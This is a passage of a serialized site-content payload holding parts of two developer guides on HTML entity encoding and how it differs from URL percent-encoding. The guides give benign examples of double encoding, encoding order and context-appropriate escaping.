-->\n",[1560,118484,118485,118487,118489,118492,118494,118497,118499],{"class":1562,"line":337},[1560,118486,6431],{"class":1570},[1560,118488,16],{"class":2484},[1560,118490,118491],{"class":1570},">5 ",[1560,118493,116658],{"class":1576},[1560,118495,118496],{"class":1570}," 3\u003C\u002F",[1560,118498,16],{"class":2484},[1560,118500,6441],{"class":1570},[1560,118502,118503],{"class":1562,"line":343},[1560,118504,1702],{"emptyLinePlaceholder":363},[1560,118506,118507],{"class":1562,"line":365},[1560,118508,118509],{"class":1649},"\u003C!-- Double-encoded (wrong) -->\n",[1560,118511,118512,118514,118516,118518,118520,118523,118525],{"class":1562,"line":889},[1560,118513,6431],{"class":1570},[1560,118515,16],{"class":2484},[1560,118517,118491],{"class":1570},[1560,118519,98619],{"class":1576},[1560,118521,118522],{"class":1570},"gt; 3\u003C\u002F",[1560,118524,16],{"class":2484},[1560,118526,6441],{"class":1570},[1560,118528,118529],{"class":1562,"line":1710},[1560,118530,118531],{"class":1649},"\u003C!-- Renders as: 5 &gt; 3 (literal text, not \"5 > 3\") -->\n",[16,118533,118534],{},"This happens when a framework auto-escapes content that you already encoded manually. Encode once — at the boundary where the data enters HTML context.",[33,118536,118538],{"id":118537},"wrong-encoding-order","Wrong encoding order",[16,118540,118541],{},"When a URL with query parameters sits inside an HTML attribute, you need both URL encoding and HTML encoding — but the order matters.",[135,118543,118545],{"className":6417,"code":118544,"language":6419,"meta":141,"style":141},"\u003C!-- WRONG: HTML-encode first, URL-encode second -->\n\u003Ca href=\"\u002Fsearch?q=red%26blue\">Link\u003C\u002Fa>\n\u003C!-- The %26 is URL-safe but the & before it still needs &amp; -->\n\n\u003C!-- CORRECT: URL-encode data values, then HTML-encode the & separators -->\n\u003Ca href=\"\u002Fsearch?q=red%26blue&amp;sort=newest\">Link\u003C\u002Fa>\n",[143,118546,118547,118552,118572,118577,118581,118586],{"__ignoreMap":141},[1560,118548,118549],{"class":1562,"line":1563},[1560,118550,118551],{"class":1649},"\u003C!-- WRONG: HTML-encode first, URL-encode second -->\n",[1560,118553,118554,118556,118558,118560,118562,118565,118568,118570],{"class":1562,"line":337},[1560,118555,6431],{"class":1570},[1560,118557,98],{"class":2484},[1560,118559,41004],{"class":1566},[1560,118561,7297],{"class":1570},[1560,118563,118564],{"class":5634},"\"\u002Fsearch?q=red%26blue\"",[1560,118566,118567],{"class":1570},">Link\u003C\u002F",[1560,118569,98],{"class":2484},[1560,118571,6441],{"class":1570},[1560,118573,118574],{"class":1562,"line":343},[1560,118575,118576],{"class":1649},"\u003C!-- The %26 is URL-safe but the & before it still needs &amp; -->\n",[1560,118578,118579],{"class":1562,"line":365},[1560,118580,1702],{"emptyLinePlaceholder":363},[1560,118582,118583],{"class":1562,"line":889},[1560,118584,118585],{"class":1649},"\u003C!-- CORRECT: URL-encode data values, then HTML-encode the & separators -->\n",[1560,118587,118588,118590,118592,118594,118596,118599,118601,118604,118606,118608],{"class":1562,"line":1710},[1560,118589,6431],{"class":1570},[1560,118591,98],{"class":2484},[1560,118593,41004],{"class":1566},[1560,118595,7297],{"class":1570},[1560,118597,118598],{"class":5634},"\"\u002Fsearch?q=red%26blue",[1560,118600,98619],{"class":1576},[1560,118602,118603],{"class":5634},"sort=newest\"",[1560,118605,118567],{"class":1570},[1560,118607,98],{"class":2484},[1560,118609,6441],{"class":1570},[16,118611,118612,118615,118616,118618],{},[47,118613,118614],{},"Rule:"," URL-encode your data values first. Then HTML-encode the ",[143,118617,13530],{}," characters that separate query parameters when the URL lives inside an HTML attribute.",[33,118620,118622],{"id":118621},"encoding-the-wrong-context","Encoding the wrong context",[16,118624,118625,118626,118628],{},"HTML entity encoding protects HTML text and attributes. It does ",[47,118627,28839],{}," protect JavaScript strings:",[135,118630,118632],{"className":6417,"code":118631,"language":6419,"meta":141,"style":141},"\u003C!-- WRONG: entity encoding inside a script tag -->\n\u003Cscript>\n  var name = \"Robert&apos;s Company\";  \u002F\u002F Syntax error in JS\n\u003C\u002Fscript>\n\n\u003C!-- CORRECT: use JavaScript string escaping -->\n\u003Cscript>\n  var name = \"Robert's Company\";       \u002F\u002F Or Robert\\'s Company\n\u003C\u002Fscript>\n",[143,118633,118634,118639,118647,118665,118673,118677,118682,118690,118706],{"__ignoreMap":141},[1560,118635,118636],{"class":1562,"line":1563},[1560,118637,118638],{"class":1649},"\u003C!-- WRONG: entity encoding inside a script tag -->\n",[1560,118640,118641,118643,118645],{"class":1562,"line":337},[1560,118642,6431],{"class":1570},[1560,118644,11475],{"class":2484},[1560,118646,6441],{"class":1570},[1560,118648,118649,118652,118655,118657,118660,118662],{"class":1562,"line":343},[1560,118650,118651],{"class":1669},"  var",[1560,118653,118654],{"class":1570}," name ",[1560,118656,7297],{"class":1669},[1560,118658,118659],{"class":5634}," \"Robert&apos;s Company\"",[1560,118661,3409],{"class":1570},[1560,118663,118664],{"class":1649},"\u002F\u002F Syntax error in JS\n",[1560,118666,118667,118669,118671],{"class":1562,"line":365},[1560,118668,11242],{"class":1570},[1560,118670,11475],{"class":2484},[1560,118672,6441],{"class":1570},[1560,118674,118675],{"class":1562,"line":889},[1560,118676,1702],{"emptyLinePlaceholder":363},[1560,118678,118679],{"class":1562,"line":1710},[1560,118680,118681],{"class":1649},"\u003C!-- CORRECT: use JavaScript string escaping -->\n",[1560,118683,118684,118686,118688],{"class":1562,"line":1717},[1560,118685,6431],{"class":1570},[1560,118687,11475],{"class":2484},[1560,118689,6441],{"class":1570},[1560,118691,118692,118694,118696,118698,118701,118703],{"class":1562,"line":1747},[1560,118693,118651],{"class":1669},[1560,118695,118654],{"class":1570},[1560,118697,7297],{"class":1669},[1560,118699,118700],{"class":5634}," \"Robert's Company\"",[1560,118702,5755],{"class":1570},[1560,118704,118705],{"class":1649},"\u002F\u002F Or Robert\\'s Company\n",[1560,118707,118708,118710,118712],{"class":1562,"line":2507},[1560,118709,11242],{"class":1570},[1560,118711,11475],{"class":2484},[1560,118713,6441],{"class":1570},[16,118715,118716],{},"Each output context — HTML text, HTML attributes, JavaScript, CSS, URLs — requires its own escaping strategy.",[33,118718,118720],{"id":118719},"forgetting-the-semicolon","Forgetting the semicolon",[16,118722,118723],{},"HTML5 allows some named entities without a semicolon, but this creates ambiguity:",[135,118725,118727],{"className":6417,"code":118726,"language":6419,"meta":141,"style":141},"\u003Cp>I work at AT&T\u003C\u002Fp>\n\u003C!-- Browser sees &T — not a valid entity, renders as-is, but behavior differs across parsers -->\n\n\u003Cp>I work at AT&amp;T\u003C\u002Fp>\n\u003C!-- Always correct and unambiguous -->\n",[143,118728,118729,118742,118747,118751,118769],{"__ignoreMap":141},[1560,118730,118731,118733,118735,118738,118740],{"class":1562,"line":1563},[1560,118732,6431],{"class":1570},[1560,118734,16],{"class":2484},[1560,118736,118737],{"class":1570},">I work at AT&T\u003C\u002F",[1560,118739,16],{"class":2484},[1560,118741,6441],{"class":1570},[1560,118743,118744],{"class":1562,"line":337},[1560,118745,118746],{"class":1649},"\u003C!-- Browser sees &T — not a valid entity, renders as-is, but behavior differs across parsers -->\n",[1560,118748,118749],{"class":1562,"line":343},[1560,118750,1702],{"emptyLinePlaceholder":363},[1560,118752,118753,118755,118757,118760,118762,118765,118767],{"class":1562,"line":365},[1560,118754,6431],{"class":1570},[1560,118756,16],{"class":2484},[1560,118758,118759],{"class":1570},">I work at AT",[1560,118761,98619],{"class":1576},[1560,118763,118764],{"class":1570},"T\u003C\u002F",[1560,118766,16],{"class":2484},[1560,118768,6441],{"class":1570},[1560,118770,118771],{"class":1562,"line":889},[1560,118772,118773],{"class":1649},"\u003C!-- Always correct and unambiguous -->\n",[16,118775,118776],{},"Always include the semicolon. It eliminates parser ambiguity and makes your intent explicit.",[11,118778,118780],{"id":118779},"encoding-in-practice","Encoding in Practice",[33,118782,118783],{"id":94377},"Server-side rendering",[16,118785,118786],{},"Most template engines auto-encode by default:",[41,118788,118789,118796,118801,118814],{},[44,118790,118791,23567,118793,118795],{},[47,118792,116778],{},[143,118794,116782],{}," interpolations auto-escape HTML",[44,118797,118798,118800],{},[47,118799,116856],{}," — JSX expressions auto-escape",[44,118802,118803,118806,118807,118809,118810,118813],{},[47,118804,118805],{},"Blade"," (Laravel) — ",[143,118808,116782],{}," auto-escapes; use ",[143,118811,118812],{},"{!! !!}"," for raw output",[44,118815,118816,118819,118820,118822],{},[47,118817,118818],{},"Jinja2"," (Python) — ",[143,118821,116782],{}," auto-escapes when autoescape is on",[16,118824,118825],{},"Use raw output directives only when you intentionally trust the content.",[33,118827,118829],{"id":118828},"client-side-javascript","Client-side JavaScript",[135,118831,118833],{"className":1607,"code":118832,"language":1609,"meta":141,"style":141},"\u002F\u002F Encoding — safe for HTML text\nfunction encodeHtml(str) {\n  const el = document.createElement('div')\n  el.textContent = str\n  return el.innerHTML\n}\n\n\u002F\u002F Decoding — convert entities back to characters\nfunction decodeHtml(str) {\n  const el = document.createElement('div')\n  el.innerHTML = str\n  return el.textContent\n}\n",[143,118834,118835,118840,118853,118873,118882,118889,118893,118897,118902,118915,118933,118942,118949],{"__ignoreMap":141},[1560,118836,118837],{"class":1562,"line":1563},[1560,118838,118839],{"class":1649},"\u002F\u002F Encoding — safe for HTML text\n",[1560,118841,118842,118844,118847,118849,118851],{"class":1562,"line":337},[1560,118843,8648],{"class":1669},[1560,118845,118846],{"class":1566}," encodeHtml",[1560,118848,1688],{"class":1570},[1560,118850,38740],{"class":2219},[1560,118852,9345],{"class":1570},[1560,118854,118855,118857,118860,118862,118864,118866,118868,118871],{"class":1562,"line":343},[1560,118856,28057],{"class":1669},[1560,118858,118859],{"class":1576}," el",[1560,118861,8186],{"class":1669},[1560,118863,11555],{"class":1570},[1560,118865,11558],{"class":1566},[1560,118867,1688],{"class":1570},[1560,118869,118870],{"class":5634},"'div'",[1560,118872,8252],{"class":1570},[1560,118874,118875,118878,118880],{"class":1562,"line":365},[1560,118876,118877],{"class":1570},"  el.textContent ",[1560,118879,7297],{"class":1669},[1560,118881,38749],{"class":1570},[1560,118883,118884,118886],{"class":1562,"line":889},[1560,118885,9350],{"class":1669},[1560,118887,118888],{"class":1570}," el.innerHTML\n",[1560,118890,118891],{"class":1562,"line":1710},[1560,118892,1585],{"class":1570},[1560,118894,118895],{"class":1562,"line":1717},[1560,118896,1702],{"emptyLinePlaceholder":363},[1560,118898,118899],{"class":1562,"line":1747},[1560,118900,118901],{"class":1649},"\u002F\u002F Decoding — convert entities back to characters\n",[1560,118903,118904,118906,118909,118911,118913],{"class":1562,"line":2507},[1560,118905,8648],{"class":1669},[1560,118907,118908],{"class":1566}," decodeHtml",[1560,118910,1688],{"class":1570},[1560,118912,38740],{"class":2219},[1560,118914,9345],{"class":1570},[1560,118916,118917,118919,118921,118923,118925,118927,118929,118931],{"class":1562,"line":2524},[1560,118918,28057],{"class":1669},[1560,118920,118859],{"class":1576},[1560,118922,8186],{"class":1669},[1560,118924,11555],{"class":1570},[1560,118926,11558],{"class":1566},[1560,118928,1688],{"class":1570},[1560,118930,118870],{"class":5634},[1560,118932,8252],{"class":1570},[1560,118934,118935,118938,118940],{"class":1562,"line":2529},[1560,118936,118937],{"class":1570},"  el.innerHTML ",[1560,118939,7297],{"class":1669},[1560,118941,38749],{"class":1570},[1560,118943,118944,118946],{"class":1562,"line":2534},[1560,118945,9350],{"class":1669},[1560,118947,118948],{"class":1570}," el.textContent\n",[1560,118950,118951],{"class":1562,"line":2542},[1560,118952,1585],{"class":1570},[33,118954,118955],{"id":8543},"Node.js",[16,118957,118958],{},"Use a dedicated library outside the browser:",[135,118960,118962],{"className":1607,"code":118961,"language":1609,"meta":141,"style":141},"import { encode, decode } from 'he'\n\nencode('5 > 3 & 2 \u003C 4')  \u002F\u002F \"5 &gt; 3 &amp; 2 &lt; 4\"\ndecode('&copy; 2026')      \u002F\u002F \"© 2026\"\n",[143,118963,118964,118976,118980,118995],{"__ignoreMap":141},[1560,118965,118966,118968,118971,118973],{"class":1562,"line":1563},[1560,118967,8162],{"class":1669},[1560,118969,118970],{"class":1570}," { encode, decode } ",[1560,118972,8168],{"class":1669},[1560,118974,118975],{"class":5634}," 'he'\n",[1560,118977,118978],{"class":1562,"line":337},[1560,118979,1702],{"emptyLinePlaceholder":363},[1560,118981,118982,118985,118987,118990,118992],{"class":1562,"line":343},[1560,118983,118984],{"class":1566},"encode",[1560,118986,1688],{"class":1570},[1560,118988,118989],{"class":5634},"'5 > 3 & 2 \u003C 4'",[1560,118991,10060],{"class":1570},[1560,118993,118994],{"class":1649},"\u002F\u002F \"5 &gt; 3 &amp; 2 &lt; 4\"\n",[1560,118996,118997,118999,119001,119004,119006],{"class":1562,"line":365},[1560,118998,90899],{"class":1566},[1560,119000,1688],{"class":1570},[1560,119002,119003],{"class":5634},"'&copy; 2026'",[1560,119005,38662],{"class":1570},[1560,119007,119008],{"class":1649},"\u002F\u002F \"© 2026\"\n",[11,119010,119012],{"id":119011},"encoding-checklist","Encoding Checklist",[41,119014,119015,119018,119021,119024,119027,119030],{},[44,119016,119017],{},"Encode all user-supplied data before rendering it in HTML",[44,119019,119020],{},"Use your framework's auto-escaping by default",[44,119022,119023],{},"Never double-encode — encode once at the HTML boundary",[44,119025,119026],{},"Match your encoding to the output context (HTML ≠ JavaScript ≠ CSS ≠ URLs)",[44,119028,119029],{},"Always terminate named entities with a semicolon",[44,119031,119032,119033,1459,119035,1459,119037,1459,119039,1459,119041],{},"Test rendered output with characters like ",[143,119034,6431],{},[143,119036,28226],{},[143,119038,13530],{},[143,119040,8721],{},[143,119042,9361],{},[11,119044,1355],{"id":1354},[41,119046,119047,119050,119053,119056,119059,119062],{},[44,119048,119049],{},"HTML encoding replaces markup-significant characters with entity sequences",[44,119051,119052],{},"Browsers resolve entities during tokenization, before building the DOM",[44,119054,119055],{},"Double encoding and wrong encoding order are the two most common bugs",[44,119057,119058],{},"Entity encoding only protects HTML contexts — use context-appropriate escaping elsewhere",[44,119060,119061],{},"Always include the semicolon on named entities to avoid parser ambiguity",[44,119063,119064],{},"Frameworks auto-escape by default; prefer that over manual encoding",[11,119066,321],{"id":320},[41,119068,119069,119073,119079],{},[44,119070,119071],{},[98,119072,118214],{"href":118213},[44,119074,119075],{},[98,119076,119078],{"href":119077},"\u002Fguides\u002Fweb-encoding-tools","Web Encoding Tools",[44,119080,119081],{},[98,119082,118220],{"href":118219},[11,119084,286],{"id":285},[16,119086,117641,119087,119089],{},[98,119088,118228],{"href":116496}," tool. Paste any text and get properly encoded output in one click.",[2043,119091,119092],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":119094},[119095,119096,119101,119106,119112,119117,119118,119119,119120],{"id":118264,"depth":337,"text":118265},{"id":118279,"depth":337,"text":118280,"children":119097},[119098,119099,119100],{"id":118283,"depth":343,"text":118284},{"id":118376,"depth":343,"text":118377},{"id":118392,"depth":343,"text":118393},{"id":118399,"depth":337,"text":118400,"children":119102},[119103,119104,119105],{"id":118406,"depth":343,"text":118407},{"id":118419,"depth":343,"text":118420},{"id":118440,"depth":343,"text":118441},{"id":2340,"depth":337,"text":2341,"children":119107},[119108,119109,119110,119111],{"id":101940,"depth":343,"text":101941},{"id":118537,"depth":343,"text":118538},{"id":118621,"depth":343,"text":118622},{"id":118719,"depth":343,"text":118720},{"id":118779,"depth":337,"text":118780,"children":119113},[119114,119115,119116],{"id":94377,"depth":343,"text":118783},{"id":118828,"depth":343,"text":118829},{"id":8543,"depth":343,"text":118955},{"id":119011,"depth":337,"text":119012},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how HTML encoding works, when to use it, and common pitfalls developers face with HTML entities.",{"immutable":363},{"title":118259,"description":119121},"guides\u002Fhtml-encoding-guide","4NiIUynybcrsk1sqGjKEpBXLckCw_edGdA0bNppdNh0",{"id":119127,"title":119128,"body":119129,"date":2070,"description":120100,"extension":361,"meta":120101,"navigation":363,"path":118219,"readingTime":889,"seo":120102,"stem":120103,"__hash__":120104},"guides\u002Fguides\u002Fhtml-encoding-vs-url-encoding.md","HTML Encoding vs URL Encoding: When to Use Each",{"type":8,"value":119130,"toc":120084},[119131,119135,119138,119141,119143,119150,119213,119226,119230,119240,119321,119333,119337,119428,119432,119436,119444,119501,119512,119545,119555,119559,119562,119629,119633,119636,119696,119701,119705,119711,119789,119795,119873,119877,119880,120020,120023,120025,120045,120047,120063,120065,120068,120081],[11,119132,119134],{"id":119133},"two-encoding-systems-one-document","Two Encoding Systems, One Document",[16,119136,119137],{},"Web pages are full of URLs. URLs often appear inside HTML attributes. That means a single string might pass through two different encoding layers — HTML entity encoding and URL percent-encoding — before it reaches the browser.",[16,119139,119140],{},"Understanding where each encoding applies prevents broken links, malformed markup, and security vulnerabilities.",[11,119142,118265],{"id":118264},[16,119144,119145,119146,119149],{},"HTML encoding (entity encoding) replaces characters that have special meaning in HTML with entity codes. Its job is to protect the ",[47,119147,119148],{},"HTML parser"," from misinterpreting data as markup.",[135,119151,119153],{"className":6417,"code":119152,"language":6419,"meta":141,"style":141},"\u003C!-- Without encoding: broken markup -->\n\u003Cp>5 > 3 & 2 \u003C 4\u003C\u002Fp>\n\n\u003C!-- With encoding: safe content -->\n\u003Cp>5 &gt; 3 &amp; 2 &lt; 4\u003C\u002Fp>\n",[143,119154,119155,119160,119178,119182,119187],{"__ignoreMap":141},[1560,119156,119157],{"class":1562,"line":1563},[1560,119158,119159],{"class":1649},"\u003C!-- Without encoding: broken markup -->\n",[1560,119161,119162,119164,119166,119169,119171,119174,119176],{"class":1562,"line":337},[1560,119163,6431],{"class":1570},[1560,119165,16],{"class":2484},[1560,119167,119168],{"class":1570},">5 > 3 & 2 ",[1560,119170,6431],{"class":5159},[1560,119172,119173],{"class":1570}," 4\u003C\u002F",[1560,119175,16],{"class":2484},[1560,119177,6441],{"class":1570},[1560,119179,119180],{"class":1562,"line":343},[1560,119181,1702],{"emptyLinePlaceholder":363},[1560,119183,119184],{"class":1562,"line":365},[1560,119185,119186],{"class":1649},"\u003C!-- With encoding: safe content -->\n",[1560,119188,119189,119191,119193,119195,119197,119200,119202,119205,119207,119209,119211],{"class":1562,"line":889},[1560,119190,6431],{"class":1570},[1560,119192,16],{"class":2484},[1560,119194,118491],{"class":1570},[1560,119196,116658],{"class":1576},[1560,119198,119199],{"class":1570}," 3 ",[1560,119201,98619],{"class":1576},[1560,119203,119204],{"class":1570}," 2 ",[1560,119206,116644],{"class":1576},[1560,119208,119173],{"class":1570},[1560,119210,16],{"class":2484},[1560,119212,6441],{"class":1570},[16,119214,119215,119216,1459,119218,1459,119220,1459,119222,1459,119224,468],{},"Key targets: ",[143,119217,6431],{},[143,119219,28226],{},[143,119221,13530],{},[143,119223,8721],{},[143,119225,9361],{},[11,119227,119229],{"id":119228},"what-is-url-encoding","What Is URL Encoding?",[16,119231,119232,119233,119235,119236,119239],{},"URL encoding (percent-encoding) replaces characters that are unsafe or reserved in URIs with ",[143,119234,34470],{}," sequences. Its job is to protect the ",[47,119237,119238],{},"URL parser"," from misinterpreting data as URL structure.",[135,119241,119243],{"className":1607,"code":119242,"language":1609,"meta":141,"style":141},"\u002F\u002F Without encoding: broken query\n\u002Fapi\u002Fsearch?q=hello world&page=2\n\n\u002F\u002F With encoding: safe URL\n\u002Fapi\u002Fsearch?q=hello%20world&page=2\n",[143,119244,119245,119250,119281,119285,119290],{"__ignoreMap":141},[1560,119246,119247],{"class":1562,"line":1563},[1560,119248,119249],{"class":1649},"\u002F\u002F Without encoding: broken query\n",[1560,119251,119252,119254,119257,119259,119262,119264,119267,119269,119271,119273,119276,119278],{"class":1562,"line":337},[1560,119253,9423],{"class":1669},[1560,119255,119256],{"class":1570},"api",[1560,119258,9423],{"class":1669},[1560,119260,119261],{"class":1570},"search",[1560,119263,33994],{"class":1669},[1560,119265,119266],{"class":1570},"q",[1560,119268,7297],{"class":1669},[1560,119270,40658],{"class":1570},[1560,119272,13530],{"class":1669},[1560,119274,119275],{"class":1570},"page",[1560,119277,7297],{"class":1669},[1560,119279,119280],{"class":1576},"2\n",[1560,119282,119283],{"class":1562,"line":343},[1560,119284,1702],{"emptyLinePlaceholder":363},[1560,119286,119287],{"class":1562,"line":365},[1560,119288,119289],{"class":1649},"\u002F\u002F With encoding: safe URL\n",[1560,119291,119292,119294,119296,119298,119300,119302,119304,119306,119308,119310,119313,119315,119317,119319],{"class":1562,"line":889},[1560,119293,9423],{"class":1669},[1560,119295,119256],{"class":1570},[1560,119297,9423],{"class":1669},[1560,119299,119261],{"class":1570},[1560,119301,33994],{"class":1669},[1560,119303,119266],{"class":1570},[1560,119305,7297],{"class":1669},[1560,119307,22064],{"class":1570},[1560,119309,17990],{"class":1669},[1560,119311,119312],{"class":1570},"20world",[1560,119314,13530],{"class":1669},[1560,119316,119275],{"class":1570},[1560,119318,7297],{"class":1669},[1560,119320,119280],{"class":1576},[16,119322,119323,119324,1459,119326,1459,119328,1459,119330,119332],{},"Key targets: space, ",[143,119325,13530],{},[143,119327,7297],{},[143,119329,6852],{},[143,119331,33994],{},", non-ASCII characters.",[11,119334,119336],{"id":119335},"side-by-side-comparison","Side-by-Side Comparison",[193,119338,119339,119350],{},[196,119340,119341],{},[199,119342,119343,119345,119348],{},[202,119344,13104],{},[202,119346,119347],{},"HTML Encoding",[202,119349,86920],{},[211,119351,119352,119362,119378,119395,119406,119417],{},[199,119353,119354,119356,119359],{},[216,119355,2758],{},[216,119357,119358],{},"Protect HTML parser",[216,119360,119361],{},"Protect URL parser",[199,119363,119364,119366,119371],{},[216,119365,22275],{},[216,119367,119368],{},[143,119369,119370],{},"\u003C > & \" '",[216,119372,119373,119374,119377],{},"Space, ",[143,119375,119376],{},"& = # ? \u002F %",", non-ASCII",[199,119379,119380,119382,119390],{},[216,119381,13018],{},[216,119383,119384,1531,119387],{},[143,119385,119386],{},"&name;",[143,119388,119389],{},"&#NNN;",[216,119391,119392,119394],{},[143,119393,34470],{}," (hex byte)",[199,119396,119397,119400,119403],{},[216,119398,119399],{},"Primary context",[216,119401,119402],{},"HTML text and attributes",[216,119404,119405],{},"URL paths and query strings",[199,119407,119408,119411,119414],{},[216,119409,119410],{},"Security role",[216,119412,119413],{},"Prevents HTML\u002FXSS injection",[216,119415,119416],{},"Prevents URL injection",[199,119418,119419,119422,119425],{},[216,119420,119421],{},"Decoding tool",[216,119423,119424],{},"Browser HTML parser",[216,119426,119427],{},"Browser URL parser",[11,119429,119431],{"id":119430},"common-confusion-points","Common Confusion Points",[33,119433,119435],{"id":119434},"urls-inside-html-attributes","URLs inside HTML attributes",[16,119437,119438,119439,1531,119441,119443],{},"When you place a URL inside an ",[143,119440,98766],{},[143,119442,116758],{}," attribute, both layers matter — but they serve different purposes.",[135,119445,119447],{"className":6417,"code":119446,"language":6419,"meta":141,"style":141},"\u003C!-- BAD: unencoded ampersand splits the query -->\n\u003Ca href=\"\u002Fsearch?q=red&color=blue\">Search\u003C\u002Fa>\n\n\u003C!-- GOOD: URL-encode the value, HTML-encode the attribute if needed -->\n\u003Ca href=\"\u002Fsearch?q=red%26blue\">Search\u003C\u002Fa>\n",[143,119448,119449,119454,119474,119478,119483],{"__ignoreMap":141},[1560,119450,119451],{"class":1562,"line":1563},[1560,119452,119453],{"class":1649},"\u003C!-- BAD: unencoded ampersand splits the query -->\n",[1560,119455,119456,119458,119460,119462,119464,119467,119470,119472],{"class":1562,"line":337},[1560,119457,6431],{"class":1570},[1560,119459,98],{"class":2484},[1560,119461,41004],{"class":1566},[1560,119463,7297],{"class":1570},[1560,119465,119466],{"class":5634},"\"\u002Fsearch?q=red&color=blue\"",[1560,119468,119469],{"class":1570},">Search\u003C\u002F",[1560,119471,98],{"class":2484},[1560,119473,6441],{"class":1570},[1560,119475,119476],{"class":1562,"line":343},[1560,119477,1702],{"emptyLinePlaceholder":363},[1560,119479,119480],{"class":1562,"line":365},[1560,119481,119482],{"class":1649},"\u003C!-- GOOD: URL-encode the value, HTML-encode the attribute if needed -->\n",[1560,119484,119485,119487,119489,119491,119493,119495,119497,119499],{"class":1562,"line":889},[1560,119486,6431],{"class":1570},[1560,119488,98],{"class":2484},[1560,119490,41004],{"class":1566},[1560,119492,7297],{"class":1570},[1560,119494,118564],{"class":5634},[1560,119496,119469],{"class":1570},[1560,119498,98],{"class":2484},[1560,119500,6441],{"class":1570},[16,119502,421,119503,98763,119505,119508,119509,119511],{},[143,119504,13530],{},[143,119506,119507],{},"q=red&color=blue"," is a query separator, not an HTML entity. But HTML parsers also interpret ",[143,119510,13530],{}," as the start of an entity. To avoid ambiguity:",[135,119513,119515],{"className":6417,"code":119514,"language":6419,"meta":141,"style":141},"\u003C!-- Safest: URL-encode the data, then use &amp; for attribute ampersands -->\n\u003Ca href=\"\u002Fsearch?tags=html%26css&amp;sort=newest\">Search\u003C\u002Fa>\n",[143,119516,119517,119522],{"__ignoreMap":141},[1560,119518,119519],{"class":1562,"line":1563},[1560,119520,119521],{"class":1649},"\u003C!-- Safest: URL-encode the data, then use &amp; for attribute ampersands -->\n",[1560,119523,119524,119526,119528,119530,119532,119535,119537,119539,119541,119543],{"class":1562,"line":337},[1560,119525,6431],{"class":1570},[1560,119527,98],{"class":2484},[1560,119529,41004],{"class":1566},[1560,119531,7297],{"class":1570},[1560,119533,119534],{"class":5634},"\"\u002Fsearch?tags=html%26css",[1560,119536,98619],{"class":1576},[1560,119538,118603],{"class":5634},[1560,119540,119469],{"class":1570},[1560,119542,98],{"class":2484},[1560,119544,6441],{"class":1570},[16,119546,119547,119548,119551,119552,119554],{},"Here ",[143,119549,119550],{},"html%26css"," is URL-encoded so the server reads it as the literal string \"html&css\". The ",[143,119553,98619],{}," separates query parameters inside an HTML attribute.",[33,119556,119558],{"id":119557},"html-content-inside-urls","HTML content inside URLs",[16,119560,119561],{},"Sometimes you need to pass HTML as a URL parameter. This requires URL encoding first, because the URL parser runs before the HTML parser.",[135,119563,119565],{"className":1607,"code":119564,"language":1609,"meta":141,"style":141},"\u002F\u002F WRONG: raw HTML in a URL will break parsing\nconst url = `\u002Fpreview?html=\u003Cp>Hello\u003C\u002Fp>`\n\n\u002F\u002F CORRECT: URL-encode the HTML value\nconst html = '\u003Cp>Hello\u003C\u002Fp>'\nconst url = `\u002Fpreview?html=${encodeURIComponent(html)}`\n\u002F\u002F \"\u002Fpreview?html=%3Cp%3EHello%3C%2Fp%3E\"\n",[143,119566,119567,119572,119583,119587,119592,119603,119624],{"__ignoreMap":141},[1560,119568,119569],{"class":1562,"line":1563},[1560,119570,119571],{"class":1649},"\u002F\u002F WRONG: raw HTML in a URL will break parsing\n",[1560,119573,119574,119576,119578,119580],{"class":1562,"line":337},[1560,119575,8180],{"class":1669},[1560,119577,33819],{"class":1576},[1560,119579,8186],{"class":1669},[1560,119581,119582],{"class":5634}," `\u002Fpreview?html=\u003Cp>Hello\u003C\u002Fp>`\n",[1560,119584,119585],{"class":1562,"line":343},[1560,119586,1702],{"emptyLinePlaceholder":363},[1560,119588,119589],{"class":1562,"line":365},[1560,119590,119591],{"class":1649},"\u002F\u002F CORRECT: URL-encode the HTML value\n",[1560,119593,119594,119596,119598,119600],{"class":1562,"line":889},[1560,119595,8180],{"class":1669},[1560,119597,108795],{"class":1576},[1560,119599,8186],{"class":1669},[1560,119601,119602],{"class":5634}," '\u003Cp>Hello\u003C\u002Fp>'\n",[1560,119604,119605,119607,119609,119611,119614,119616,119618,119620,119622],{"class":1562,"line":1710},[1560,119606,8180],{"class":1669},[1560,119608,33819],{"class":1576},[1560,119610,8186],{"class":1669},[1560,119612,119613],{"class":5634}," `\u002Fpreview?html=${",[1560,119615,33827],{"class":1566},[1560,119617,1688],{"class":5634},[1560,119619,6419],{"class":1570},[1560,119621,1525],{"class":5634},[1560,119623,100442],{"class":5634},[1560,119625,119626],{"class":1562,"line":1717},[1560,119627,119628],{"class":1649},"\u002F\u002F \"\u002Fpreview?html=%3Cp%3EHello%3C%2Fp%3E\"\n",[33,119630,119632],{"id":119631},"double-encoding-trap","Double encoding trap",[16,119634,119635],{},"Applying the wrong encoding twice garbles your 